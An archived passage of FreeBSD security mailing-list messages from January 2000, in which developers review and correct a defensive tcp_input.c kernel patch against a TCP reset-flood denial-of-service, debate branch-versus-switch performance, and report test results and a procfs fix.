(MST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id KAA04527; Tue, 25 Jan 2000 10:22:58 -0700 (MST) Message-Id: <200001251722.KAA04527@harmony.village.org> To: Brett Glass Subject: Re: Merged patches Cc: security@FreeBSD.ORG In-reply-to: Your message of "Tue, 25 Jan 2000 10:09:32 MST." <4.2.2.20000125095042.01a5aba0@localhost> References: <4.2.2.20000125095042.01a5aba0@localhost> Date: Tue, 25 Jan 2000 10:22:58 -0700 From: Warner Losh Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In message <4.2.2.20000125095042.01a5aba0@localhost> Brett Glass writes: : This is a very, VERY concervative patch. As such, it : doesn't include rate limiting of RSTs independently of : ICMP_BANDLIM (which is really a different beast -- on : a router, you might NOT want to limit ICMP but want to : limit bandwidth). THat's the point. Yes, it is a conservative patch, but we're 4 days from code freeze. *NOTHING* is going to be radical at this point. : The patch also does not prevent a : non-SYN packet from matching a listening socket (this : condition is caught later, but piecemeal with many : individual tests; the coverage isn't comprehensive). : And it does not shield the entire TCP stack from : sending or receiving multicast packets -- just this : path. It's still possible to emit a TCP packet with : a multicast source or destination address after : this patch. The source addresses of packets are still : tested to see if they're muticast addresses in MANY : places instead of in one place.... It seems to : me that it pays to use a flag in the mbuf (as is : done with B_CAST) to centralize the test. (A new : flag called, say, SRC_B_CAST would do this. There's : room in the flag word.) By what code paths is this possible? Please be specific. : Also, in at least one place (maybe more), the code does : multiple tests of the TCP option flags in succession. : Several tests of this kind should generally be merged : into a switch for speed (the many conditional jumps : cause pipeline stalls on many processors, especially : older ones) and readability. It does? If so, it certainly doesn't ADD them. : In short, I'd only go with this patch as-is if my : purpose were to minimize the changes made before : release. If this were the goal, I'd go back to the : code immediately thereafter and try to tackle some : of the inefficiencies and holes in this key input : path more aggressively. Yes. That's exactly the goal. Like I said in my initial mail, I may remove the ICMP_BANDLIM option as an option, but bump the rate limiter to 1000. But that's about as far as I'd be willing to go at this time. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 25 9:27: 4 2000 Delivered-To: freebsd-security@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id 796AC15269 for ; Tue, 25 Jan 2000 09:26:37 -0800 (PST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id KAA06497; Tue, 25 Jan 2000 10:26:35 -0700 (MST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id KAA04563; Tue, 25 Jan 2000 10:26:22 -0700 (MST) Message-Id: <200001251726.KAA04563@harmony.village.org> To: geniusj Subject: Re: Merged patches Cc: security@FreeBSD.ORG In-reply-to: Your message of "Tue, 25 Jan 2000 17:14:33 EST." References: Date: Tue, 25 Jan 2000 10:26:22 -0700 From: Warner Losh Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In message geniusj writes: : This patch does not seem to apply, using 3.4-STABLE branch did patch < : kern.patch from /sys, it applies, but many hunks failed.. Will this be the : official patch? You were the one working on it, no? :) This patch is for -current only. If a different one is needed for stable, we'll deal with that then. We're 3 days from code freeze, and I want to get something good into 4.0 to help limit the damage here. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 25 9:33:21 2000 Delivered-To: freebsd-security@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 5237314DFA for ; Tue, 25 Jan 2000 09:33:19 -0800 (PST) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id JAA04770; Tue, 25 Jan 2000 09:33:16 -0800 (PST) (envelope-from dillon) Date: Tue, 25 Jan 2000 09:33:16 -0800 (PST) From: Matthew Dillon Message-Id: <200001251733.JAA04770@apollo.backplane.com> To: Warner Losh Cc: security@FreeBSD.ORG Subject: Re: Merged patches References: <200001251637.JAA04226@harmony.village.org> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org :this patch. I'm thinking seriously of removing the ICMP_BANDLIM :option as an option (eg compile the code in no matter what), but :raising the limit from 100 to 1000 or something like that so it won't :normally impact people, but those desiring to harden their servers can :drift the number downward. : :Comment? : :Warner I'd increase the default to 200, no higher. 1000 is probably too high a rate. I found a bug in the patch: : #endif :- if (IN_MULTICAST(ntohl(ip->ip_dst.s_addr))) :- goto drop; :+ if (IN_MULTICAST(ntohl(ip->ip_dst.s_addr)) || :+ IN_MULTICAST(ntohl(ip->ip_src.s_addr)) || :+ IN_EXPERIMENTAL(ntohl(ip->ip_src.s_addr))) : #ifdef INET6 : if (isipv6) { : MALLOC(sin6, struct sockaddr_in6 *, sizeof *sin6, In the above section, the 'goto drop' was removed. Shouldn't that stay in? The body of this 'if' statement is now the conditional that follows it, which is not what I think you meant to do. -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 25 9:36: 8 2000 Delivered-To: freebsd-security@freebsd.org Received: from testbed.baileylink.net (testbed.baileylink.net [63.71.213.24]) by hub.freebsd.org (Postfix) with ESMTP id 053B314D06 for ; Tue, 25 Jan 2000 09:35:50 -0800 (PST) (envelope-from brad@testbed.baileylink.net) Received: (from brad@localhost) by testbed.baileylink.net (8.9.3/8.9.3) id LAA86792 for freebsd-security@freebsd.org; Tue, 25 Jan 2000 11:36:24 -0600 (CST) (envelope-from brad) Date: Tue, 25 Jan 2000 11:36:24 -0600 From: Brad Guillory To: freebsd-security@freebsd.org Subject: Re: Skip, Natd, Ipfw, and VPN Nomads (long) Message-ID: <20000125113623.A85740@baileylink.net> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0i In-Reply-To: ; from jflowers@ezo.net on Tue, Jan 25, 2000 at 12:10:00PM -0500 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Jim, Don't you think that using an extra interface is favorable to using two FreeBSD boxes. I imaging that you would not even have to use a real second interface. This is a very detailed implementation, and I appreciate it much because I am about to have to configure a skip vpn with nomad (DHCP ADSL users). I have only allocated one at the POP to accomplish this so I am hoping that I am not wrong. BMG To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 25 9:36:34 2000 Delivered-To: freebsd-security@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id 7D62414EBD for ; Tue, 25 Jan 2000 09:36:27 -0800 (PST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id KAA06545; Tue, 25 Jan 2000 10:36:22 -0700 (MST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id KAA04666; Tue, 25 Jan 2000 10:36:10 -0700 (MST) Message-Id: <200001251736.KAA04666@harmony.village.org> To: Matthew Dillon Subject: Re: Merged patches Cc: security@FreeBSD.ORG In-reply-to: Your message of "Tue, 25 Jan 2000 09:33:16 PST." <200001251733.JAA04770@apollo.backplane.com> References: <200001251733.JAA04770@apollo.backplane.com> <200001251637.JAA04226@harmony.village.org> Date: Tue, 25 Jan 2000 10:36:10 -0700 From: Warner Losh Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In message <200001251733.JAA04770@apollo.backplane.com> Matthew Dillon writes: : I'd increase the default to 200, no higher. 1000 is probably too : high a rate. ok. : I found a bug in the patch: : : : #endif : :- if (IN_MULTICAST(ntohl(ip->ip_dst.s_addr))) : :- goto drop; : :+ if (IN_MULTICAST(ntohl(ip->ip_dst.s_addr)) || : :+ IN_MULTICAST(ntohl(ip->ip_src.s_addr)) || : :+ IN_EXPERIMENTAL(ntohl(ip->ip_src.s_addr))) : : #ifdef INET6 : : if (isipv6) { : : MALLOC(sin6, struct sockaddr_in6 *, sizeof *sin6, : : In the above section, the 'goto drop' was removed. Shouldn't that stay : in? The body of this 'if' statement is now the conditional that : follows it, which is not what I think you meant to do. You are right.... Uggg, the indenting there is somewhat less than optimal. Will have ot fix that later. However, here's the corrected patch. Warner Index: netinet/tcp_input.c =================================================================== RCS file: /home/imp/FreeBSD/CVS/src/sys/netinet/tcp_input.c,v retrieving revision 1.103 diff -u -r1.103 tcp_input.c --- netinet/tcp_input.c 2000/01/15 14:56:35 1.103 +++ netinet/tcp_input.c 2000/01/25 17:35:13 @@ -615,10 +615,6 @@ break; } } -#ifdef ICMP_BANDLIM - if (badport_bandlim(1) < 0) - goto drop; -#endif if (blackhole) { switch (blackhole) { case 1: @@ -631,11 +627,11 @@ goto drop; } } - goto dropwithreset; + goto maybedropwithreset; } tp = intotcpcb(inp); if (tp == 0) - goto dropwithreset; + goto maybedropwithreset; if (tp->t_state == TCPS_CLOSED) goto drop; @@ -695,7 +691,7 @@ */ if (thflags & TH_ACK) { tcpstat.tcps_badsyn++; - goto dropwithreset; + goto maybedropwithreset; } goto drop; } @@ -772,7 +768,7 @@ */ if (thflags & TH_ACK) { tcpstat.tcps_badsyn++; - goto dropwithreset; + goto maybedropwithreset; } goto drop; } @@ -999,7 +995,7 @@ if (thflags & TH_RST) goto drop; if (thflags & TH_ACK) - goto dropwithreset; + goto maybedropwithreset; if ((thflags & TH_SYN) == 0) goto drop; if (th->th_dport == th->th_sport) { @@ -1017,16 +1013,22 @@ * RFC1122 4.2.3.10, p. 104: discard bcast/mcast SYN * in_broadcast() should never return true on a received * packet with M_BCAST not set. + * + * Packets with a multicast source address should also + * be discarded. */ if (m->m_flags & (M_BCAST|M_MCAST)) goto drop; #ifdef INET6 if (isipv6) { - if (IN6_IS_ADDR_MULTICAST(&ip6->ip6_dst)) + if (IN6_IS_ADDR_MULTICAST(&ip6->ip6_dst) || + IN6_IS_ADDR_MULTICAST(&ip6->ip6_src)) goto drop; } else #endif - if (IN_MULTICAST(ntohl(ip->ip_dst.s_addr))) + if (IN_MULTICAST(ntohl(ip->ip_dst.s_addr)) || + IN_MULTICAST(ntohl(ip->ip_src.s_addr)) || + IN_EXPERIMENTAL(ntohl(ip->ip_src.s_addr))) goto drop; #ifdef INET6 if (isipv6) { @@ -1187,7 +1189,7 @@ if ((thflags & TH_ACK) && (SEQ_LEQ(th->th_ack, tp->snd_una) || SEQ_GT(th->th_ack, tp->snd_max))) - goto dropwithreset; + goto maybedropwithreset; break; /* @@ -1529,7 +1531,7 @@ * for the "LAND" DoS attack. */ if (tp->t_state == TCPS_SYN_RECEIVED && SEQ_LT(th->th_seq, tp->irs)) - goto dropwithreset; + goto maybedropwithreset; todrop = tp->rcv_nxt - th->th_seq; if (todrop > 0) { @@ -2192,7 +2194,7 @@ if (tp->t_state == TCPS_SYN_RECEIVED && (thflags & TH_ACK) && (SEQ_GT(tp->snd_una, th->th_ack) || SEQ_GT(th->th_ack, tp->snd_max)) ) - goto dropwithreset; + goto maybedropwithreset; #ifdef TCPDEBUG if (so->so_options & SO_DEBUG) tcp_trace(TA_DROP, ostate, tp, (void *)tcp_saveipgen, @@ -2203,6 +2205,17 @@ (void) tcp_output(tp); return; + + /* + * Conditionally drop with reset or just drop depending on whether + * we think we are under attack or not. + */ +maybedropwithreset: +#ifdef ICMP_BANDLIM + if (badport_bandlim(1) < 0) + goto drop; +#endif + /* fall through */ dropwithreset: #ifdef TCP_RESTRICT_RST if (restrict_rst) @@ -2217,11 +2230,14 @@ goto drop; #ifdef INET6 if (isipv6) { - if (IN6_IS_ADDR_MULTICAST(&ip6->ip6_dst)) + if (IN6_IS_ADDR_MULTICAST(&ip6->ip6_dst) || + IN6_IS_ADDR_MULTICAST(&ip6->ip6_src)) goto drop; } else #endif /* INET6 */ - if (IN_MULTICAST(ntohl(ip->ip_dst.s_addr))) + if (IN_MULTICAST(ntohl(ip->ip_dst.s_addr)) || + IN_MULTICAST(ntohl(ip->ip_src.s_addr)) || + IN_EXPERIMENTAL(ntohl(ip->ip_src.s_addr))) goto drop; /* IPv6 anycast check is done at tcp6_input() */ #ifdef TCPDEBUG To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 25 9:38:42 2000 Delivered-To: freebsd-security@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 83E1B15343 for ; Tue, 25 Jan 2000 09:38:18 -0800 (PST) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id JAA04802; Tue, 25 Jan 2000 09:38:14 -0800 (PST) (envelope-from dillon) Date: Tue, 25 Jan 2000 09:38:14 -0800 (PST) From: Matthew Dillon Message-Id: <200001251738.JAA04802@apollo.backplane.com> To: Warner Losh Cc: Brett Glass , security@FreeBSD.ORG Subject: Re: Merged patches References: <4.2.2.20000125095042.01a5aba0@localhost> <200001251722.KAA04527@harmony.village.org> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org :By what code paths is this possible? Please be specific. : :: Also, in at least one place (maybe more), the code does :: multiple tests of the TCP option flags in succession. :: Several tests of this kind should generally be merged :: into a switch for speed (the many conditional jumps :: cause pipeline stalls on many processors, especially :: older ones) and readability. : :It does? If so, it certainly doesn't ADD them. So we do multiple tests, so what? Not only will GCC potentially optimize the code, but doing multiple tests means the memory references are already in the L1 cache so, frankly, I doubt you would save more then a few nanoseconds glomming it all together into a switch. In fact, it's quite possible that attempting to optimize it in this fashion will actually make it slower since you have no control over the critical path when you glom things into a switch statement. It makes no sense at all to mess around with working code just to save a few nanoseconds. -Matt Matthew Dillon :: In short, I'd only go with this patch as-is if my :: purpose were to minimize the changes made before :: release. If this were the goal, I'd go back to the :: code immediately thereafter and try to tackle some :: of the inefficiencies and holes in this key input :: path more aggressively. : :Yes. That's exactly the goal. : :Like I said in my initial mail, I may remove the ICMP_BANDLIM option :as an option, but bump the rate limiter to 1000. But that's about as :far as I'd be willing to go at this time. : :Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 25 10:11:28 2000 Delivered-To: freebsd-security@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id A51E01504E for ; Tue, 25 Jan 2000 10:11:21 -0800 (PST) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id KAA05253; Tue, 25 Jan 2000 10:11:19 -0800 (PST) (envelope-from dillon) Date: Tue, 25 Jan 2000 10:11:19 -0800 (PST) From: Matthew Dillon Message-Id: <200001251811.KAA05253@apollo.backplane.com> To: Michael Oswell Cc: Warner Losh , Tim Yardley , freebsd-security@FreeBSD.ORG Subject: Re: Fwd: *BSD procfs vulnerability References: Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org : :I've manually taken the information from the 3.x patch and used it to :patch a 2.2.7 box we had here. It appears to work, though all I have done :to test this is run the exploit script that was sent to bugtraq. : :I have also run the patch against a 2.2.8 box successfully (and recompiled :the kernel), though have yet to reboot to the box to be sure it works. : :The actual code in the patch below is identical to the one that was :released for 3.2 (just manually inserted instead of using patch). Like I :said, it appears to work here, though I make no guarentees to anyone that :this is the best or correct way to patch the 2.2.x kernels for this bug. Best.com has verified that the patch works as well, and it's exactly the same as the one you included so I have committed it to RELENG_2_2. -Matt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 25 10:13:33 2000 Delivered-To: freebsd-security@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id 9171014E4E for ; Tue, 25 Jan 2000 10:13:30 -0800 (PST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id LAA06755; Tue, 25 Jan 2000 11:13:24 -0700 (MST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id LAA05046; Tue, 25 Jan 2000 11:13:11 -0700 (MST) Message-Id: <200001251813.LAA05046@harmony.village.org> To: Matthew Dillon Subject: Re: Fwd: *BSD procfs vulnerability Cc: Michael Oswell , Tim Yardley , freebsd-security@FreeBSD.ORG In-reply-to: Your message of "Tue, 25 Jan 2000 10:11:19 PST." <200001251811.KAA05253@apollo.backplane.com> References: <200001251811.KAA05253@apollo.backplane.com> Date: Tue, 25 Jan 2000 11:13:11 -0700 From: Warner Losh Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In message <200001251811.KAA05253@apollo.backplane.com> Matthew Dillon writes: : Best.com has verified that the patch works as well, and it's exactly the : same as the one you included so I have committed it to RELENG_2_2. Thank you Matt. I'll update the patches and the advisory. Thanks for your (and best.com's) support. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 25 10:34:37 2000 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id 9AA1A1505B for ; Tue, 25 Jan 2000 10:34:26 -0800 (PST) (envelope-from brett@lariat.org) Received: from workhorse (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id LAA09828; Tue, 25 Jan 2000 11:34:16 -0700 (MST) Message-Id: <4.2.2.20000125110039.01a517c0@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Tue, 25 Jan 2000 11:34:14 -0700 To: Warner Losh From: Brett Glass Subject: Re: Merged patches Cc: security@FreeBSD.ORG In-Reply-To: <200001251722.KAA04527@harmony.village.org> References: <4.2.2.20000125095042.01a5aba0@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 10:22 AM 1/25/2000 , Warner Losh wrote: >By what code paths is this possible? Please be specific. I'd be glad to submit a patch for this. Here's the rationale: Go to the /sys/netinet directory and execute the command grep IN_MULTICAST * You'll see lots and LOTS of tests of the source addresses of packets to see if they're multicast addresses. But the tests are scattered all over; there's no central location where the test occurs, and it's not used to prevent packets from entering the TCP portion of the stack (at least until things are patched). There's a strong argument for conducting a single test for a multicast source address and setting a M_SRC_MCAST flag. I'd want others' opinion on where the best place is to do this, but it should certainly be done before the IP layer has a chance to do any of the individual tests we see in that grep. >: Also, in at least one place (maybe more), the code does >: multiple tests of the TCP option flags in succession. >: Several tests of this kind should generally be merged >: into a switch for speed (the many conditional jumps >: cause pipeline stalls on many processors, especially >: older ones) and readability. > >It does? If so, it certainly doesn't ADD them. It's a cumulative effect. In the diff, for example, I see: @ -999,7 +995,7 @@ if (thflags & TH_RST) goto drop; if (thflags & TH_ACK) - goto dropwithreset; + goto maybedropwithreset; if ((thflags & TH_SYN) == 0) goto drop; if (th->th_dport == th->th_sport) { which means that the tests are starting to pile up. IIRC there were a few other places where the tests were either stacked or might as well have been (they were interspersed with other code). >: In short, I'd only go with this patch as-is if my >: purpose were to minimize the changes made before >: release. If this were the goal, I'd go back to the >: code immediately thereafter and try to tackle some >: of the inefficiencies and holes in this key input >: path more aggressively. > >Yes. That's exactly the goal. In that case, you're doing the right thing. I'd ultimately like to see (and would be willing to take time to participate in) a code review of the entire file, though. This is SUCH an important routine.... It deserves the best optimization that can be done. >Like I said in my initial mail, I may remove the ICMP_BANDLIM option >as an option, but bump the rate limiter to 1000. But that's about as >far as I'd be willing to go at this time. I'll bet Matt will say that any deviation from protocol should be optional. ;-) I'd sure like to see rate limiting on RSTs separated from rate limiting on ICMP, though. After all, the ICMP packets are a side effect of the DoS we're discussing here; they occur AFTER we generate too many RSTs. The fact that some RSTs were dropped when you turned on ICMP_BANDLIM in the original code seems to me to be somewhat of a lucky accident. --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 25 10:52:23 2000 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id BD5CD15215 for ; Tue, 25 Jan 2000 10:52:20 -0800 (PST) (envelope-from brett@lariat.org) Received: from workhorse (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id LAA09986; Tue, 25 Jan 2000 11:52:13 -0700 (MST) Message-Id: <4.2.2.20000125113518.01a59100@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Tue, 25 Jan 2000 11:52:11 -0700 To: Matthew Dillon , Warner Losh From: Brett Glass Subject: Re: Merged patches Cc: security@FreeBSD.ORG In-Reply-To: <200001251738.JAA04802@apollo.backplane.com> References: <4.2.2.20000125095042.01a5aba0@localhost> <200001251722.KAA04527@harmony.village.org> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 10:38 AM 1/25/2000 , Matthew Dillon wrote: > So we do multiple tests, so what? Not only will GCC potentially > optimize the code, I have never seen GCC optimize tests of the individual bits of a word into a switch. >but doing multiple tests means the memory references > are already in the L1 cache so, frankly, I doubt you would save more > then a few nanoseconds glomming it all together into a switch. Caching isn't the issue. Conditional jumps trigger pipeline interlocks and stalls. A bunch of them in a row is a worst case. It locks up even the best superscalar CPUs because the pipelines are tied in knots and you can only do so much speculative execution. Doing a switch eliminates the pipeline "train wreck" and at the same time parallelizes the tests in a completely portable way. As an ASM programmer, I see MASSIVE speedups when I do this -- usually an order of magnitude at least. >In fact, > it's quite possible that attempting to optimize it in this fashion will > actually make it slower since you have no control over the critical path > when you glom things into a switch statement. If the compiler generates a jump table (which you can force via an option in many cases but which a good compiler will do on its own), all of the paths become short. The cost is fixed: one indexed jump. Because there's only one jump, branch prediction, speculative execution, etc. work on newer CPUs. The penalty is smaller on the older ones, too. Switches also make the code more readable and make it easy to handle every case. Some of the problems we're seeing in this code have been caused by failure to account for some combinations of the TCP option flags. The best way to ensure code correctness -- now and for the long term -- is to use a construct that makes it easy to be sure you cover all the bases! It's not only good style; it's good insurance. --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 25 10:56: 1 2000 Delivered-To: freebsd-security@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id DA4F315117 for ; Tue, 25 Jan 2000 10:55:40 -0800 (PST) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id KAA05770; Tue, 25 Jan 2000 10:55:38 -0800 (PST) (envelope-from dillon) Date: Tue, 25 Jan 2000 10:55:38 -0800 (PST) From: Matthew Dillon Message-Id: <200001251855.KAA05770@apollo.backplane.com> To: Brett Glass Cc: Warner Losh , security@FreeBSD.ORG Subject: Re: Merged patches References: <4.2.2.20000125095042.01a5aba0@localhost> <200001251722.KAA04527@harmony.village.org> <4.2.2.20000125113518.01a59100@localhost> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org :> So we do multiple tests, so what? Not only will GCC potentially :> optimize the code, : :I have never seen GCC optimize tests of the individual bits of a word :into a switch. Because a 'switch' table lookup is often more expensive then a sequence of conditionals. :>but doing multiple tests means the memory references :> are already in the L1 cache so, frankly, I doubt you would save more :> then a few nanoseconds glomming it all together into a switch. : :Caching isn't the issue. Conditional jumps trigger pipeline interlocks :and stalls. A bunch of them in a row is a worst case. It locks up even the :best superscalar CPUs because the pipelines are tied in knots and you can only :do so much speculative execution. Doing a switch eliminates the pipeline :"train wreck" and at the same time parallelizes the tests in a completely :portable way. As an ASM programmer, I see MASSIVE speedups when I do this -- :usually an order of magnitude at least. This is not true if the conditionals are ordered for the critical path. This is especially not true on the i386 architecture which implements nearly 0-cost branches in the branch-cache case. :If the compiler generates a jump table (which you can force via an option in :many cases but which a good compiler will do on its own), all of the :paths become short. The cost is fixed: one indexed jump. Because there's :only one jump, branch prediction, speculative execution, etc. work on newer :CPUs. The penalty is smaller on the older ones, too. :... :--Brett This is not necessarily true. A jump table usually destroys the branch-cache for the main branch-to-jump-table and can be slower then a sequence of conditionals that have been ordered for the critical path. -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 25 11:19:59 2000 Delivered-To: freebsd-security@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 15D6C14DFA for ; Tue, 25 Jan 2000 11:19:57 -0800 (PST) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id LAA05907; Tue, 25 Jan 2000 11:19:54 -0800 (PST) (envelope-from dillon) Date: Tue, 25 Jan 2000 11:19:54 -0800 (PST) From: Matthew Dillon Message-Id: <200001251919.LAA05907@apollo.backplane.com> To: Warner Losh Cc: geniusj , security@FreeBSD.ORG Subject: tcp patch tests good (w/ test results) (was Re: Merged patches) References: <200001251733.JAA04770@apollo.backplane.com> <200001251637.JAA04226@harmony.village.org> <200001251736.KAA04666@harmony.village.org> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org :You are right.... Uggg, the indenting there is somewhat less than :optimal. Will have ot fix that later. However, here's the corrected :patch. : :Warner : :Index: netinet/tcp_input.c :=================================================================== :RCS file: /home/imp/FreeBSD/CVS/src/sys/netinet/tcp_input.c,v :retrieving revision 1.103 :... I'm testing it... oh what fun! On a 100BaseTX switched network, with a duel-cpu 450 MHz SMP box as the attacker and a UP build -current box (450 MHz) as the victim (UP build so the idle times come out right): attacker victim victim victim ICMP_BANDLIM ICMP_BANDLIM TCP_RESTRICT_RST output lim 100 output lim 10 enabled (ICMP_BANDLIM off) 1600 pps 98% idle 98% idle 98% idle 6400 pps 95% idle 95% idle 95% idle 12800 pps 90% idle 90% idle 90% idle 34000 pps 74% idle 74% idle 76% idle 41000 pps 69% idle 70% idle 70% idle 58000 pps 57% idle 57% idle 58% idle 88000 pps 34% idle 34% idle 36% idle 96000 pps 28% idle 29% idle 30% idle 103000 pps 23% idle 23% idle 23% idle When I did an SMP build for the victim, it stopped responding at around 99000 pps, and started responding again after I stopped the attack. Apart from that the numbers were similar -- the SMP box was somewhat less efficient for obvious reasons. I can't shove out more then 103000 pps on my attack box. At 103000 pps the network was pushing around 6.2 MBytes/sec. I've got to run so I don't have time to attack from several sources at once. In anycase, I think the patch can be committed. The rest of my network was idle (no multicast bounce leakage) during the test. I leave it up to Warner to decide whether to enable ICMP_BANDLIM in GENERIC by default or not. After thinking about it some more, I think I *would* enable it in GENERIC. These boxes both have on-motherboard 'fxp' ethernets (Intel EtherExpress Pro 10/100B). -Matt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jan 25 11:24: 4 2000 Delivered-To: freebsd-security@freebsd.org Received: from fw.wintelcom.net (ns1.wintelcom.net [209.1.153.20]) by hub.freebsd.org (Postfix) with ESMTP id F2C1614D68 for ; Tue, 25 Jan 2000 11:24:01 -0800 (PST) (envelope-from bright@fw.wintelcom.net) Received: (from bright@localhost) by fw.wintelcom.net (8.9.3/8.9.3) id LAA11325; Tue, 25 Jan 2000 11:48:20 -0800 (PST) Date: Tue, 25 Jan 2000 11:48:20 -0800 From: Alfred Perlstein To: Warner Losh Cc: Matthew Dillon , security@FreeBSD.ORG Subject: Re: Merged patches Message-ID: <20000125114820.V26520@fw.wintelcom.net> References: <200001251733.JAA04770@apollo.backplane.com> <200001251637.JAA04226@harmony.village.org> <200001251733.JAA04770@apollo.backplane.com> <200001251736.KAA04666@harmony.village.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: <200001251736.KAA04666@harmony.village.org>; from imp@village.org on Tue, Jan 25, 2000 at 10:36:10AM -0700 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org * Warner Losh [000125 10:40] wrote: > In message <200001251733.JAA04770@apollo.backplane.com> Matthew Dillon writes: > : I'd increase the default to 200, no higher. 1000 is probably too > : high a rate. > > ok. > > : I found a bug in the patch: > : > : : #endif > : :- if (IN_MULTICAST(ntohl(ip->ip_dst.s_addr))) > : :- goto drop; > : :+ if (IN_MULTICAST(ntohl(ip->ip_dst.s_addr)) || > : :+ IN_MULTICAST(ntohl(ip->ip_src.s_addr)) || > : :+ IN_EXPERIMENTAL(ntohl(ip->ip_src.s_addr))) > : : 